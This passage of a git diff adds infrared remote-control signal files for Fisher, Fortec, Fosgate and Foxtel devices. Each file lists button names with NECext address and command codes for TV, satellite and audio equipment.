+type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 11 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 13 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 14 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 15 00 00 00 +# +name: Line +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 16 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 17 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1C 00 00 00 +# +name: Snooze +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1D 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 60 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: A0 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir new file mode 100644 index 000000000..ba87d5d64 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: dir +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 00 00 00 00 +# +name: CdStop +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 04 00 00 00 +# +name: CdMemo +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 05 00 00 00 +# +name: CDPlay +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 06 00 00 00 +# +name: CdIntro +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 09 00 00 00 +# +name: CdRandom +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0A 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0B 00 00 00 +# +name: surr +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0C 00 00 00 +# +name: CDEject +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1A 00 00 00 +# +name: Bass +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1E 00 00 00 +# +name: TpAufnLi +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 40 00 00 00 +# +name: laut +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 41 00 00 00 +# +name: leise +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 42 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 43 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 44 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 45 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 46 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 48 00 00 00 +# +name: CDRe +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 49 00 00 00 +# +name: CdRep +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 49 00 00 00 +# +name: CDLi +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4B 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4D 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4E 00 00 00 +# +name: TpStop +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 51 00 00 00 +# +name: TpRecMute +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 52 00 00 00 +# +name: TpEject +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 53 00 00 00 +# +name: TpAufnRe +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 54 00 00 00 +# +name: TpRe +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 55 00 00 00 +# +name: TpLi +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 56 00 00 00 +# +name: TPRecPause +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 57 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 59 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 5A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir new file mode 100644 index 000000000..612ac3b57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: Signal +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 57 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir b/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir new file mode 100644 index 000000000..058db89f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 03 00 00 00 +# +name: tv_dbs +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 05 00 00 00 +# +name: tv_radio +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 08 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 09 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 0C 00 00 00 +# +name: scroll_down +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 0D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 0E 00 00 00 +# +name: multi +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 19 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1A 00 00 00 +# +name: sig +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1B 00 00 00 +# +name: pic +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 22 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 23 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 24 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 25 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 28 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 40 00 00 00 +# +name: calendar +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 41 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 42 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 43 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 46 00 00 00 +# +name: find +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 47 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 48 00 00 00 +# +name: scroll_up +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 49 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 50 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 01 FD 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir new file mode 100644 index 000000000..6ce29d4ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_DN +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 53 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 83 45 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir new file mode 100644 index 000000000..214415f9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MEMORY +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 51 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir new file mode 100644 index 000000000..85ba02043 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: HI-EQ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: DIGITAL_INPUT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 28 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 28 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 38 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 48 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 4A 00 00 00 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 62 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 68 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 6A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 70 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 72 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 78 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 82 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 8A 00 00 00 +# +name: CR_SURROUND +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 92 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 98 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 98 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 40 40 00 00 +command: A2 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: A8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: B0 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: B2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: B8 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: 40 40 00 00 +command: C2 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: C8 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: D0 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: D2 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: D2 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: E2 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 40 40 00 00 +command: F2 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: F8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir new file mode 100644 index 000000000..9e9e471be --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: S-VID-1 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 00 00 00 00 +# +name: SIBILANT_FILTERS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 00 00 00 00 +# +name: MOVIE_70MM +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 02 00 00 00 +# +name: MOVIE_70MM_WIDE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 02 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 03 00 00 00 +# +name: S-VID-2 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 04 00 00 00 +# +name: RE-EQ_FILTERS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 04 00 00 00 +# +name: MOVIE_70MM +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 06 00 00 00 +# +name: MOVIE_35MM +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 06 00 00 00 +# +name: 70MM +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 06 00 00 00 +# +name: POPULAR +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 07 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 07 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 08 00 00 00 +# +name: STEREO_BYPASS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 08 00 00 00 +# +name: PRO_LOGIC +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0A 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0A 00 00 00 +# +name: PRO_LOGC +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0A 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0B 00 00 00 +# +name: MONO_ENHANCE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0E 00 00 00 +# +name: PRO_LOGIC +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0E 00 00 00 +# +name: CLASSICAL +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0F 00 00 00 +# +name: CHAMBER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0F 00 00 00 +# +name: CLAS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0F 00 00 00 +# +name: MONO_ENHANCE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 12 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: ORCHESTRA +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: ORCH +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: SRND_OFF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: BACK_LEVEL_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 18 00 00 00 +# +name: REAR_VOL+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 18 00 00 00 +# +name: MASTER_VOLUME_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: MASTER_LEVEL_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: SOURCE_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 40 00 00 00 +# +name: PAN_CTR +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 40 00 00 00 +# +name: PAN_CENTER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 40 00 00 00 +# +name: LV +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 41 00 00 00 +# +name: INPUT_CALIBRATE_< +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 41 00 00 00 +# +name: SOURCE_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 43 00 00 00 +# +name: PAN_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 43 00 00 00 +# +name: DELAY_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 44 00 00 00 +# +name: SOURCE_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 44 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 45 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 45 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 45 00 00 00 +# +name: DELAY_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 47 00 00 00 +# +name: SOURCE_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 47 00 00 00 +# +name: BASS_EQ_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: DELAY_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: SIB +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: INPUT_CALIBRATE_> +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: BASS_EQ_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: DELAY_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: CTR_ON +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4C 00 00 00 +# +name: CNTR_ON +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4C 00 00 00 +# +name: BOOST +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4F 00 00 00 +# +name: CNTR+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 50 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 51 00 00 00 +# +name: HI_FREQ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: PANEL_LIGHTS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: RE-EQ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: BACK_LEVEL_REF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 56 00 00 00 +# +name: REF +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 56 00 00 00 +# +name: MASTER_VOLUME_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: MASTER_LEVEL_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: BACK_LEVEL_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5A 00 00 00 +# +name: REAR_VOL- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5A 00 00 00 +# +name: SIBILANT +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5F 00 00 00 +# +name: PAN_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir new file mode 100644 index 000000000..22c4572cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 21 A0 00 00 +command: 0C 00 00 00 +# 